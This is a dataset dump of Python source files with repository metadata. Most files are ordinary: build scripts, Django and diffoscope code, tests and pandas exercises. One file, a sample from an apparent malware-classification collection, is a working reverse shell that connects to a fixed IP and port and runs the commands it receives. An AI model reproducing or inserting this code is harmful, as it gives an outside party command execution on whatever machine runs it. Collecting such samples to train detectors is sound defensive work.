blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
288
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
684 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
147 values
src_encoding
stringclasses
25 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
128
12.7k
extension
stringclasses
142 values
content
stringlengths
128
8.19k
authors
listlengths
1
1
author_id
stringlengths
1
132
e4593b5be61ef8f74a827d054c956032460d4c37
8762d3673347469e8ce5d924aa761f4e61c25a88
/puckdb/__init__.py
218f0f4c0ca086e151be4123fa719dd5caa50fde
[ "Apache-2.0" ]
permissive
aaront/puckdb
3406c831b7c665678df160f4179d84da7edee818
21d33fd80f093cd30b6d38c48ede6fc00e53cbb5
refs/heads/master
2021-01-18T21:22:51.477624
2020-02-25T16:04:02
2020-02-25T16:04:02
54,355,351
3
1
Apache-2.0
2020-02-25T16:04:48
2016-03-21T02:55:55
Python
UTF-8
Python
false
false
199
py
import asyncio try: import uvloop asyncio.set_event_loop_policy(uvloop.EventLoopPolicy()) except ImportError: pass __title__ = 'puckdb' __author__ = 'Aaron Toth' __version__ = '0.0.1'
[ "atoth89@gmail.com" ]
atoth89@gmail.com
e3b055314c9aa936e3b9ca52c84521017a36214c
781b9a4a1098f3ac339f97eb1a622924bcc5914d
/Exercices/Exos_Divers/programmes/Exercice_2016_05/Exercice_2016_05.py
4b27b310e3de0c99f6f1a111431c5240d2884138
[]
no_license
xpessoles/Informatique
24d4d05e871f0ac66b112eee6c51cfa6c78aea05
e8fb053c3da847bd0a1a565902b56d45e1e3887c
refs/heads/main
2023-08-30T21:10:56.788526
2023-08-30T20:17:38
2023-08-30T20:17:38
375,464,331
2
0
null
null
null
null
UTF-8
Python
false
false
877
py
#### Exercice 5 ##question 1: #cette fonction crée une liste de chiffre à partir d'un nombre, les elements de la liste sont les chiffres qui composent le nombre ##question 2: def chiffres (n): L=[] for k in range(len(str(n))): if n == 0: return[0] if n != 0: L.append(n%10) n=n//10 return(L) def calcul_narcissique(n): p=len(str(n)) L=chiffres(n) S=0 for k in range (p): S=S+L[k]**p return(S) # print(calcul_narcissique(93084)) # 93084 ##question 3: def verif_narcissique(n): return(calcul_narcissique(n)==n) # print(verif_narcissique(93084)) # True ##question 4 l=[] for k in range(100000): if verif_narcissique(k) == True: l.append(k) # print(l) # [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 153, 370, 371, 407, 1634, 8208, 9474, 54748, 92727, 93084]
[ "xpessoles.ptsi@free.fr" ]
xpessoles.ptsi@free.fr
8cdc8ec0734d47a9c1fba3c85027579835e0d57b
2bb90b620f86d0d49f19f01593e1a4cc3c2e7ba8
/pardus/tags/2009.2/game/action/armagetronad/actions.py
ccf8586914f4103ebfc017da19f9a27021a54cb0
[]
no_license
aligulle1/kuller
bda0d59ce8400aa3c7ba9c7e19589f27313492f7
7f98de19be27d7a517fe19a37c814748f7e18ba6
refs/heads/master
2021-01-20T02:22:09.451356
2013-07-23T17:57:58
2013-07-23T17:57:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,205
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2006-2009 TUBITAK/UEKAE # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt from pisi.actionsapi import autotools from pisi.actionsapi import pisitools from pisi.actionsapi import shelltools from pisi.actionsapi import get def setup(): autotools.configure("--enable-glout \ --enable-master \ --enable-main \ --disable-music \ --with-x \ --disable-useradd \ --disable-etc \ --disable-initscripts \ --disable-sysinstall \ --disable-games") def build(): autotools.make() def install(): autotools.rawInstall("DESTDIR=%s" % get.installDIR()) pisitools.dodoc("AUTHORS", "ChangeLog", "COPYING", "NEWS", "README*") # We better cleanup pisitools.remove("/usr/bin/armagetronad-uninstall") pisitools.removeDir("/usr/share/armagetronad/desktop") shelltools.chmod("%s/etc/armagetronad/rc.config" % get.installDIR(), 0644)
[ "yusuf.aydemir@istanbul.com" ]
yusuf.aydemir@istanbul.com
670339e3294b745ea5be1c753e47cc5e6b75d104
127a7a4222cffff80b1fc0cc30dd3d73182557a9
/venv/lib/python3.7/site-packages/diffoscope/presenters/markdown.py
729aba3c1a38424caecba731f567cf716bb5d344
[ "MIT" ]
permissive
crazyzete/AppSecAssignment2
b692c9830ac2892e553b5069dc4a8e5d2d20f75a
a5520738e6c5924b94f69980eba49a565c2561d7
refs/heads/master
2022-08-10T17:05:43.599533
2019-10-27T18:00:59
2019-10-27T18:00:59
213,222,325
0
1
MIT
2022-06-21T23:04:27
2019-10-06T18:33:30
Python
UTF-8
Python
false
false
1,659
py
# -*- coding: utf-8 -*- # # diffoscope: in-depth comparison of files, archives, and directories # # Copyright © 2017 Chris Lamb <lamby@debian.org> # # diffoscope is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # diffoscope is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with diffoscope. If not, see <https://www.gnu.org/licenses/>. from .utils import Presenter class MarkdownTextPresenter(Presenter): def __init__(self, print_func): self.print_func = print_func super().__init__() def visit_difference(self, difference): if difference.source1 == difference.source2: self.title(difference.source1) else: self.title( "Comparing {} & {}".format( difference.source1, difference.source2 ) ) for x in difference.comments: self.print_func(x) self.print_func() if difference.unified_diff: self.print_func(self.indent(difference.unified_diff, ' ')) self.print_func() def title(self, val): prefix = '#' * min(self.depth + 1, 6) self.print_func("{} {}".format(prefix, val)) self.print_func()
[ "mrh583@nyu.edu" ]
mrh583@nyu.edu
862bbd3e15e14e28c54b86d2fd06e72ff0571af0
f546248daf7fd64aeff6517e9fea668b459f9b62
/yatwin/interfaces/http/parameters/parameter_types/ControllerParam.py
81c3d9e9b11770cde359a2dd3a122e77753853c1
[]
no_license
andre95d/python-yatwin
2310b6c6b995771cea9ad53f61ad37c7b10d52d0
7d370342f34e26e6e66718ae397eb1d81253cd8a
refs/heads/master
2023-03-16T18:06:17.141826
2020-05-12T23:04:53
2020-05-12T23:04:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
490
py
from .BaseParam import BaseParam """ Library containing <ControllerParam> Imports: .BaseParam.BaseParam """ class ControllerParam(BaseParam): """ Inherits from <BaseParam> Controller Parameter object. These parameters are only retrieved via these identifiers, ... however are able to be edited by a *_controller method """ def __init__(self, *args, **kwargs): """ Initialises super """ super().__init__(*args, **kwargs)
[ "26026015+tombulled@users.noreply.github.com" ]
26026015+tombulled@users.noreply.github.com
8964cda5724a483489cccc4732aac45c2ce95b16
94f5bae62a2ed5bf5bd69995d9604c191b6333a0
/Projects/GAE/src/lib/django/django/contrib/auth/__init__.py
37947f107adf5eb79c4e24343d80f8740a207694
[ "BSD-3-Clause", "MIT", "Apache-2.0" ]
permissive
sethc23/BD_Scripts
5eef664af935fb38ad28581faaedb51075338553
989d62b77ca70d239ae3cf99149c5215f6e6119e
refs/heads/master
2020-04-12T17:36:17.600971
2017-02-22T09:46:27
2017-02-22T09:46:27
30,630,547
2
0
null
null
null
null
UTF-8
Python
false
false
2,477
py
from django.core.exceptions import ImproperlyConfigured SESSION_KEY = '_auth_user_id' BACKEND_SESSION_KEY = '_auth_user_backend' LOGIN_URL = '/accounts/login/' REDIRECT_FIELD_NAME = 'next' def load_backend(path): i = path.rfind('.') module, attr = path[:i], path[i + 1:] try: mod = __import__(module, {}, {}, [attr]) except ImportError, e: raise ImproperlyConfigured, 'Error importing authentication backend %s: "%s"' % (module, e) try: cls = getattr(mod, attr) except AttributeError: raise ImproperlyConfigured, 'Module "%s" does not define a "%s" authentication backend' % (module, attr) return cls() def get_backends(): from django.conf import settings backends = [] for backend_path in settings.AUTHENTICATION_BACKENDS: backends.append(load_backend(backend_path)) return backends def authenticate(**credentials): """ If the given credentials are valid, return a User object. """ for backend in get_backends(): try: user = backend.authenticate(**credentials) except TypeError: # This backend doesn't accept these credentials as arguments. Try the next one. continue if user is None: continue # Annotate the user object with the path of the backend. user.backend = "%s.%s" % (backend.__module__, backend.__class__.__name__) return user def login(request, user): """ Persist a user id and a backend in the request. This way a user doesn't have to reauthenticate on every request. """ if user is None: user = request.user # TODO: It would be nice to support different login methods, like signed cookies. request.session[SESSION_KEY] = user.id request.session[BACKEND_SESSION_KEY] = user.backend def logout(request): """ Remove the authenticated user's ID from the request. """ try: del request.session[SESSION_KEY] except KeyError: pass try: del request.session[BACKEND_SESSION_KEY] except KeyError: pass def get_user(request): from django.contrib.auth.models import AnonymousUser try: user_id = request.session[SESSION_KEY] backend_path = request.session[BACKEND_SESSION_KEY] backend = load_backend(backend_path) user = backend.get_user(user_id) or AnonymousUser() except KeyError: user = AnonymousUser() return user
[ "ub2@SERVER2.local" ]
ub2@SERVER2.local
6910dd677af87cbfea1a1f835f7942aed6df203b
f5b5a6e3f844d849a05ff56c497638e607f940e0
/capitulo 03/03.26.py
36a292a0ffd51fdd47da4eff4ed2e3d61c69c2e2
[]
no_license
alexrogeriodj/Caixa-Eletronico-em-Python
9237fa2f7f8fab5f17b7dd008af215fb0aaed29f
96b5238437c88e89aed7a7b9c34b303e1e7d61e5
refs/heads/master
2020-09-06T21:47:36.169855
2019-11-09T00:22:14
2019-11-09T00:22:14
220,563,960
0
0
null
null
null
null
UTF-8
Python
false
false
580
py
############################################################################## # Parte do livro Introdução à Programação com Python # Autor: Nilo Ney Coutinho Menezes # Editora Novatec (c) 2010-2019 # Primeira edição - Novembro/2010 - ISBN 978-85-7522-250-8 # Segunda edição - Junho/2014 - ISBN 978-85-7522-408-3 # Terceira edição - Janeiro/2019 - ISBN 978-85-7522-718-3 # Site: http://python.nilo.pro.br/ # # Arquivo: listagem3\capítulo 03\03.26.py # Descrição: ############################################################################## Digite um número: 5 5
[ "noreply@github.com" ]
alexrogeriodj.noreply@github.com
72d5af2715c29b0270499ae958108128351fdf7b
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad616.py
e2bff9139bff57a07a6d9b95c4f95582fcc33837
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
397
py
import bz2 import threading import subprocess import zlib import gzip import zipfile import tarfile import hmac import crypt import socket import lzma import hashlib s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
01053e78bb72b2a74f0f431328f3ea0d38122406
d6074c388f7decbf4f1ec2d1e01719cb942b30bd
/src/python/tests/integration/test_web/test_handler/test_controller.py
9354cd194015c922a7fc2025950dbdbf211ab3f1
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
kkfong/seedsync
5baf4eaf973086dfe45463bc59e605609ca413c1
c602da735f5aaf06fdf0aa5ffbd7d1ec56c8b827
refs/heads/master
2021-09-01T01:21:24.795745
2017-12-24T03:36:49
2017-12-24T03:36:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,955
py
# Copyright 2017, Inderpreet Singh, All rights reserved. from unittest.mock import MagicMock from tests.integration.test_web.test_web_app import BaseTestWebApp from controller import Controller class TestControllerHandler(BaseTestWebApp): def test_queue(self): def side_effect(cmd: Controller.Command): cmd.callbacks[0].on_success() self.controller.queue_command = MagicMock() self.controller.queue_command.side_effect = side_effect print(self.test_app.get("/server/command/queue/test1")) command = self.controller.queue_command.call_args[0][0] self.assertEqual(Controller.Command.Action.QUEUE, command.action) self.assertEqual("test1", command.filename) print(self.test_app.get("/server/command/queue/Really.Cool.Show")) command = self.controller.queue_command.call_args[0][0] self.assertEqual(Controller.Command.Action.QUEUE, command.action) self.assertEqual("Really.Cool.Show", command.filename) print(self.test_app.get("/server/command/queue/Really.Cool.Show.mp4")) command = self.controller.queue_command.call_args[0][0] self.assertEqual(Controller.Command.Action.QUEUE, command.action) self.assertEqual("Really.Cool.Show.mp4", command.filename) print(self.test_app.get("/server/command/queue/Really.Cool.Show%20%20With%20%20Spaces")) command = self.controller.queue_command.call_args[0][0] self.assertEqual(Controller.Command.Action.QUEUE, command.action) self.assertEqual("Really.Cool.Show With Spaces", command.filename) def test_stop(self): def side_effect(cmd: Controller.Command): cmd.callbacks[0].on_success() self.controller.queue_command = MagicMock() self.controller.queue_command.side_effect = side_effect print(self.test_app.get("/server/command/stop/test1")) command = self.controller.queue_command.call_args[0][0] self.assertEqual(Controller.Command.Action.STOP, command.action) self.assertEqual("test1", command.filename) print(self.test_app.get("/server/command/stop/Really.Cool.Show")) command = self.controller.queue_command.call_args[0][0] self.assertEqual(Controller.Command.Action.STOP, command.action) self.assertEqual("Really.Cool.Show", command.filename) print(self.test_app.get("/server/command/stop/Really.Cool.Show.mp4")) command = self.controller.queue_command.call_args[0][0] self.assertEqual(Controller.Command.Action.STOP, command.action) self.assertEqual("Really.Cool.Show.mp4", command.filename) print(self.test_app.get("/server/command/stop/Really.Cool.Show%20%20With%20%20Spaces")) command = self.controller.queue_command.call_args[0][0] self.assertEqual(Controller.Command.Action.STOP, command.action) self.assertEqual("Really.Cool.Show With Spaces", command.filename)
[ "ipsingh06@gmail.com" ]
ipsingh06@gmail.com
f088b8ab9df9c1438b503a63cf5dd2e7f43c6f75
4724a3beaba91dd474382aaff05a900e13118071
/09-case-study-word-play/ex_9_2_9.py
b00568f8f8359e01a82cce18ab012c8e694f45e0
[]
no_license
akshirapov/think-python
7090b11c6618b6dbc5ca5cde8ba2e1e26ca39e28
490333f19b463973c05abc734ac3e9dc4e6d019a
refs/heads/master
2020-06-27T03:58:03.377943
2020-01-10T16:37:52
2020-01-10T16:40:38
199,838,313
0
2
null
null
null
null
UTF-8
Python
false
false
1,013
py
# -*- coding: utf-8 -*- """ This module contains a code for ex.9 related to ch.9.2 of Think Python, 2nd Edition by Allen Downey http://thinkpython2.com """ def are_reversed(first: str, second: str): """Checks if the first and second strings are the reverse of each other. :rtype: bool """ return first.zfill(2) == second.zfill(2)[::-1] def count_matches(diff: int, display=False): """Counts the number of palindromic ages. :param diff: Difference in ages :param display: (optional) Print pairs :return Number :rtype: int """ count = 0 child = 0 while True: parent = child + diff if are_reversed(str(parent), str(child)): count += 1 if display: print(f'{parent}, {child}') if parent > 120: break child += 1 return count if __name__ == '__main__': for i in range(10, 70): if count_matches(i) >= 8: count_matches(i, True) break
[ "cccp2006_06@mail.ru" ]
cccp2006_06@mail.ru
8f152d311a5a318cab8a83d181a42f5b025d5be0
53ed4bc31fc8a939f4f3f941a3c3af433b27f498
/interfaces/python/module/codegen/files_to_generate/setup.py
21c82117843f860dc358f58f0dec5c59ddb665ae
[ "Apache-2.0" ]
permissive
gitter-badger/osqp
4de7e59cc00131231c0262913a74d7cbfb916020
8e6dce9a2aac2b467da741321cd5d9405e6f7892
refs/heads/master
2021-01-18T18:01:11.343013
2017-03-31T15:20:46
2017-03-31T15:20:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,585
py
from setuptools import setup, Extension from platform import system from numpy import get_include from glob import glob import os ''' Define macros ''' define_macros = [] if system() == 'Windows': define_macros += [('IS_WINDOWS', None)] else: if system() == 'Linux': define_macros += [('IS_LINUX', None)] elif system() == 'Darwin': define_macros += [('IS_MAC', None)] define_macros += [('DLONG', None)] define_macros += [('DFLOAT', None)] define_macros += [('EMBEDDED', EMBEDDED_FLAG)] ''' Define compiler flags ''' if system() != 'Windows': compile_args = ["-O3"] else: compile_args = [] ''' Include directory ''' include_dirs = [get_include(), # Numpy includes os.path.join('..', 'include')] # OSQP includes ''' Source files ''' sources_files = ['PYTHON_EXT_NAMEmodule.c'] # Python wrapper sources_files += glob(os.path.join('osqp', '*.c')) # OSQP files PYTHON_EXT_NAME = Extension('PYTHON_EXT_NAME', define_macros=define_macros, include_dirs=include_dirs, sources=sources_files, extra_compile_args=compile_args) setup(name='PYTHON_EXT_NAME', version='0.0.0', author='Bartolomeo Stellato, Goran Banjac', description='This is the Python module for embedded OSQP: ' + 'Operator Splitting solver for Quadratic Programs.', install_requires=["numpy >= 1.7", "future"], license='Apache 2.0', ext_modules=[PYTHON_EXT_NAME])
[ "bartolomeo.stellato@gmail.com" ]
bartolomeo.stellato@gmail.com
a75241771b2781cfdff5f86a072e2ddd19b792ce
51d348426c6e5fa79f2e77baf59bdbf8357d9f12
/week10/CodingBat/logic2/teen.py
e2353f3c5856d45541d92de475d62ee2e64fd5e8
[]
no_license
Zhansayaas/webdev
c01325b13abf92cef13138d7ffc123cf9bc4f81a
dd054d0bcafc498eccc5f4626ab45fd8b46b3a3f
refs/heads/main
2023-04-10T23:33:30.469465
2021-04-17T10:21:53
2021-04-17T10:21:53
322,049,225
0
0
null
null
null
null
UTF-8
Python
false
false
139
py
def no_teen_sum(a, b, c): def teen(n): return n if n not in [13, 14, 17, 18, 19] else 0 return teen(a) +teen(b) +teen(c)
[ "noreply@github.com" ]
Zhansayaas.noreply@github.com
13bd15132e9aed1fb35af4141b06e3fba10b136d
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5640146288377856_0/Python/papamitra/a.py
66ab91e44db6378581d41a76ca518749012947a4
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
323
py
import sys import math def solve(line): r,c,w = [int(i) for i in line.split(' ')] return int(math.ceil((c-w)/w)) + w def main(): t = int(sys.stdin.readline()) for i in range(t): s = solve(sys.stdin.readline()) print("Case #{0}: {1}".format(i+1, s)) if __name__ == '__main__': main()
[ "eewestman@gmail.com" ]
eewestman@gmail.com
5c5e342ddc9eaa239ffe8a1cf20a234a1331ddfb
ca15b5926731474829df18890dca8b1166e0e41d
/Server/Python/src/dbs/dao/MySQL/ReleaseVersion/Insert.py
554871c859a2887eb755678b1969e83031441b9f
[ "Apache-2.0" ]
permissive
vkuznet/DBS
e292aa843e25c90a61714accf1518c955ff70d08
14df8bbe8ee8f874fe423399b18afef911fe78c7
refs/heads/master
2022-10-03T21:50:57.519984
2020-11-24T22:02:18
2020-11-24T22:02:18
188,904,440
0
0
null
2019-05-27T20:20:14
2019-05-27T20:20:14
null
UTF-8
Python
false
false
214
py
#!/usr/bin/env python """ DAO Object for ReleaseVersions table """ from dbs.dao.Oracle.ReleaseVersion.Insert import Insert as OraReleaseVersionInsert class Insert(OraReleaseVersionInsert): pass
[ "metson@4525493e-7705-40b1-a816-d608a930855b" ]
metson@4525493e-7705-40b1-a816-d608a930855b
45c4d6fd7989884903ec2c365eaab49510c9b086
6b518cf14ea3f59fd59136dbd2a7ac70234bb96e
/instructor-github/day5/psgetrootxml.py
42ada3ec57cba4c9fdca417ebfe5acffc39cce6b
[]
no_license
simula67/advanced-python-course-material
8064a1adddff45b0980d4bd1948fdeb2f88aec89
98870da337cbc001bcf4215ce44f82f0430fd3ce
refs/heads/master
2016-09-06T12:29:37.397321
2015-06-29T05:10:19
2015-06-29T05:10:19
38,228,793
0
0
null
null
null
null
UTF-8
Python
false
false
166
py
__author__ = 'ravi' import xml.etree.ElementTree as et doc = et.parse('movies.xml') root = doc.getroot() print root.tag print root.attrib print root.get('shelf')
[ "simula67@gmail.com" ]
simula67@gmail.com
0d3b908e5a80a1fdac5596aacfd0d54c1069356a
e03e59d67c96c1afa0a1c76e62235a3e3f639976
/django_test5maria/myguest/views.py
90e66051ac3cad8952b3d9e02ec46f7ae6c0a276
[]
no_license
kangmihee/EX_python
10a63484802e6ff5454f12f7ade7e277dbf3df97
0a8dafe667f188cd89ef7f021823f6b4a9033dc0
refs/heads/master
2020-07-02T00:23:05.465127
2019-09-03T07:49:46
2019-09-03T07:49:46
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,011
py
from django.shortcuts import render from myguest.models import Guest from datetime import datetime from django.http.response import HttpResponseRedirect # Create your views here. def MainFunc(request): return render(request, 'main.html') def ListFunc(request): gdata = Guest.objects.all() # 기본 입력순서 #gdata = Guest.objects.all().order_by('title') # ㄱㄴㄷ 순으로 정렬(sort) #gdata = Guest.objects.all().order_by('-id')[0:2] # 내림차순으로 정렬, 부분적 나타냄(slicing) return render(request, 'list.html', {'gdata':gdata}) def InsertFunc(request): return render(request, 'insert.html') def InsertFuncOk(requset): if requset.method == 'POST': Guest( title = requset.POST.get('title'), content = requset.POST.get('content'), regdate = datetime.now() ).save() # insert 처리 return HttpResponseRedirect('/guest')
[ "acorn@acorn-PC" ]
acorn@acorn-PC
7d741b129725f500f76d0bb3e54e121a6b8f9403
712441dbc6958bdf1cc62314b2f128f0b7084f53
/shop/views.py
cc90cbe4c4878421dae76ee887e12a0f596c762d
[]
no_license
maratkanov-a/GamesOfFuture
40d0ae06c4dfe0d1ecc17e249664b01366d9705e
302e4456908459f55b06c98aa97156ad42eda4eb
refs/heads/master
2021-01-10T07:11:47.234521
2016-03-01T12:43:00
2016-03-01T12:43:00
51,259,691
0
0
null
null
null
null
UTF-8
Python
false
false
430
py
from django.core.urlresolvers import reverse_lazy from django.shortcuts import render from django.views.generic import TemplateView, DetailView # from shop.models import Product class CategoryPage(TemplateView): template_name = 'category.html' class ProductsWithCategoryPage(TemplateView): template_name = 'products_with_category.html' class ProductDetailView(TemplateView): template_name = 'product_detail.html'
[ "a.s.maratkanov@gmail.com" ]
a.s.maratkanov@gmail.com
f7b43011dade1618661a46527ad7949ab1c1989f
24386c698b879f43e2037aee49af5ca07c99f706
/day3/Ex13pandasSort.py
6f867f43a0fd05858bbad0d39d0c4daf736981c9
[]
no_license
aorura/machine_learning
bd9dc80ef0aa7196c876cef6da0ce2e254fe51af
ba81e61e3346283b9d317a686ec66c43eacc56b5
refs/heads/master
2020-09-28T16:51:04.888737
2019-12-13T07:38:56
2019-12-13T07:38:56
226,818,873
0
0
null
null
null
null
UTF-8
Python
false
false
822
py
import numpy as np import pandas as pd ''' obj=pd.Series(range(4),index=list('dabc')) print(obj.sort_index(),'\n') frame=pd.DataFrame(np.arange(8).reshape(2,4),index=['three','one'],columns=list('dabc')) print(frame.sort_index(),'\n') print(frame.sort_index(axis=1),'\n') print(frame.sort_index(axis=1,ascending=False),'\n') print(obj.sort_values()) ''' frame2=pd.DataFrame({'b':[4,7,-3,2],'a':[0,1,0,1]}) print('\n',frame2) print('\n',frame2.sort_values(by='b')) print('\n',frame2.sort_values(by='a')) print('\n',frame2.sort_values(by=['a','b'])) np.random.seed(777) df=pd.DataFrame(np.random.randn(1000,4),columns=list('abcd')) print(df) print('\n',df.sum(axis=0)) print('\n',df.sum(axis=1)) print('\n',df.mean(axis=1)) print('\n',df.describe()) print('\n',df.info()) print('\n',df.head(10)) print('\n',df.tail(10))
[ "hyponus@gmail.com" ]
hyponus@gmail.com
dd2354e8348294d16dc7f0ead60b96378d07457b
3784495ba55d26e22302a803861c4ba197fd82c7
/venv/lib/python3.6/site-packages/opt_einsum/sharing.py
458fb974a66c3b9a6d2a34eab4c72a1850d0d177
[ "MIT" ]
permissive
databill86/HyperFoods
cf7c31f5a6eb5c0d0ddb250fd045ca68eb5e0789
9267937c8c70fd84017c0f153c241d2686a356dd
refs/heads/master
2021-01-06T17:08:48.736498
2020-02-11T05:02:18
2020-02-11T05:02:18
241,407,659
3
0
MIT
2020-02-18T16:15:48
2020-02-18T16:15:47
null
UTF-8
Python
false
false
6,301
py
""" A module for sharing intermediates between contractions. Copyright (c) 2018 Uber Technologies """ import contextlib import functools import numbers import threading from collections import Counter, defaultdict from .parser import alpha_canonicalize, parse_einsum_input __all__ = [ "currently_sharing", "get_sharing_cache", "shared_intermediates", "count_cached_ops", "transpose_cache_wrap", "einsum_cache_wrap", "to_backend_cache_wrap" ] _SHARING_STACK = defaultdict(list) def currently_sharing(): """Check if we are currently sharing a cache -- thread specific. """ return threading.get_ident() in _SHARING_STACK def get_sharing_cache(): """Return the most recent sharing cache -- thread specific. """ return _SHARING_STACK[threading.get_ident()][-1] def _add_sharing_cache(cache): _SHARING_STACK[threading.get_ident()].append(cache) def _remove_sharing_cache(): tid = threading.get_ident() _SHARING_STACK[tid].pop() if not _SHARING_STACK[tid]: del _SHARING_STACK[tid] @contextlib.contextmanager def shared_intermediates(cache=None): """Context in which contract intermediate results are shared. Note that intermediate computations will not be garbage collected until 1. this context exits, and 2. the yielded cache is garbage collected (if it was captured). Parameters ---------- cache : dict If specified, a user-stored dict in which intermediate results will be stored. This can be used to interleave sharing contexts. Returns ------- cache : dict A dictionary in which sharing results are stored. If ignored, sharing results will be garbage collected when this context is exited. This dict can be passed to another context to resume sharing. """ if cache is None: cache = {} _add_sharing_cache(cache) try: yield cache finally: _remove_sharing_cache() def count_cached_ops(cache): """Returns a counter of the types of each op in the cache. This is useful for profiling to increase sharing. """ return Counter(key[0] for key in cache.keys()) def _save_tensors(*tensors): """Save tensors in the cache to prevent their ids from being recycled. This is needed to prevent false cache lookups. """ cache = get_sharing_cache() for tensor in tensors: cache['tensor', id(tensor)] = tensor def _memoize(key, fn, *args, **kwargs): """Memoize ``fn(*args, **kwargs)`` using the given ``key``. Results will be stored in the innermost ``cache`` yielded by :func:`shared_intermediates`. """ cache = get_sharing_cache() if key in cache: return cache[key] result = fn(*args, **kwargs) cache[key] = result return result def transpose_cache_wrap(transpose): """Decorates a ``transpose()`` implementation to be memoized inside a :func:`shared_intermediates` context. """ @functools.wraps(transpose) def cached_transpose(a, axes, backend='numpy'): if not currently_sharing(): return transpose(a, axes, backend=backend) # hash by axes _save_tensors(a) axes = tuple(axes) key = 'transpose', backend, id(a), axes return _memoize(key, transpose, a, axes, backend=backend) return cached_transpose def tensordot_cache_wrap(tensordot): """Decorates a ``tensordot()`` implementation to be memoized inside a :func:`shared_intermediates` context. """ @functools.wraps(tensordot) def cached_tensordot(x, y, axes=2, backend='numpy'): if not currently_sharing(): return tensordot(x, y, axes, backend=backend) # hash based on the (axes_x,axes_y) form of axes _save_tensors(x, y) if isinstance(axes, numbers.Number): axes = list(range(len(x.shape)))[len(x.shape) - axes:], list(range(len(y.shape)))[:axes] axes = tuple(axes[0]), tuple(axes[1]) key = 'tensordot', backend, id(x), id(y), axes return _memoize(key, tensordot, x, y, axes, backend=backend) return cached_tensordot def einsum_cache_wrap(einsum): """Decorates an ``einsum()`` implementation to be memoized inside a :func:`shared_intermediates` context. """ @functools.wraps(einsum) def cached_einsum(*args, **kwargs): if not currently_sharing(): return einsum(*args, **kwargs) # hash modulo commutativity by computing a canonical ordering and names backend = kwargs.pop('backend', 'numpy') equation = args[0] inputs, output, operands = parse_einsum_input(args) inputs = inputs.split(',') _save_tensors(*operands) # Build canonical key canonical = sorted(zip(inputs, map(id, operands)), key=lambda x: x[1]) canonical_ids = tuple(id_ for _, id_ in canonical) canonical_inputs = ','.join(input_ for input_, _ in canonical) canonical_equation = alpha_canonicalize(canonical_inputs + "->" + output) key = 'einsum', backend, canonical_equation, canonical_ids return _memoize(key, einsum, equation, *operands, backend=backend) return cached_einsum def to_backend_cache_wrap(to_backend=None, constants=False): """Decorates an ``to_backend()`` implementation to be memoized inside a :func:`shared_intermediates` context (e.g. ``to_cupy``, ``to_torch``). """ # manage the case that decorator is called with args if to_backend is None: return functools.partial(to_backend_cache_wrap, constants=constants) if constants: @functools.wraps(to_backend) def cached_to_backend(array, constant=False): if not currently_sharing(): return to_backend(array, constant=constant) # hash by id key = to_backend.__name__, id(array), constant return _memoize(key, to_backend, array, constant=constant) else: @functools.wraps(to_backend) def cached_to_backend(array): if not currently_sharing(): return to_backend(array) # hash by id key = to_backend.__name__, id(array) return _memoize(key, to_backend, array) return cached_to_backend
[ "luis20dr@gmail.com" ]
luis20dr@gmail.com
9ac512db21836054f6eeda809d87d463d81a06d0
a884039e1a8b0ab516b80c2186e0e3bad28d5147
/Livros/Livro-Introdução à Programação-Python/Capitulo 5/Exemplos 5/Listagem5_10.py
1611bb25c700210b358fa96d09ababe0fe06f659
[ "MIT" ]
permissive
ramonvaleriano/python-
6e744e8bcd58d07f05cd31d42a5092e58091e9f0
ada70918e945e8f2d3b59555e9ccc35cf0178dbd
refs/heads/main
2023-04-10T14:04:24.497256
2021-04-22T18:49:11
2021-04-22T18:49:11
340,360,400
0
0
null
null
null
null
UTF-8
Python
false
false
408
py
